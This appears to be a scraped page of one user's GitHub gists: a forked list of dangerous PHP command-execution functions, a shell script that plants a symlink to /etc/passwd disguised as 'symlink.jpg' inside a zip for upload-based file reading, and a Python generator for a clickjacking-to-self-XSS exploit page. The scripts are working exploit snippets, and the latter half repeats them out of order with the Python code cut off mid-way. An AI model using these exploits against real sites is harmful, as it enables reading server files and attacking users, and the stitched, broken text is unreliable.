Vishwaraj Bhattrai vishwaraj101

## phpdangerousfuncs.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                vishwaraj101
                / phpdangerousfuncs.md
            
            
              Created
              January 3, 2022 09:44
                — forked from mccabe615/phpdangerousfuncs.md
            
              
                Dangerous PHP Functions
              
          
    Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program


## symlink.sh
#!/bin/bash
echo "symlink.jpg created"
ln -s /etc/passwd ./symlink.jpg
echo "photos.zip with symlink created"
zip --symlinks photos.zip ./symlink.jpg

## cxp.py
print "Clickjack to Xss"
vector=raw_input('xss vector--> ') #xss payload
html=raw_input('Custom Iframe Code--> ') #custom iframe code

fo=open('exploit.html','w') #creating html file

source_code="""<html><body>
<h1>Clickjack to exploit self xss </h1>
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '%s')"><h3>DRAG ME!!</h3></div>
"""%(vector)
	#!/bin/bash
	echo "symlink.jpg created"
	ln -s /etc/passwd ./symlink.jpg
	echo "photos.zip with symlink created"
	zip --symlinks photos.zip ./symlink.jpg
	print "Clickjack to Xss"
	vector=raw_input('xss vector--> ') #xss payload
	html=raw_input('Custom Iframe Code--> ') #custom iframe code

	fo=open('exploit.html','w') #creating html file

	source_code="""<html><body>
	<h1>Clickjack to exploit self xss </h1>
	<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '%s')"><h3>DRAG ME!!</h3></div>
	"""%(vector)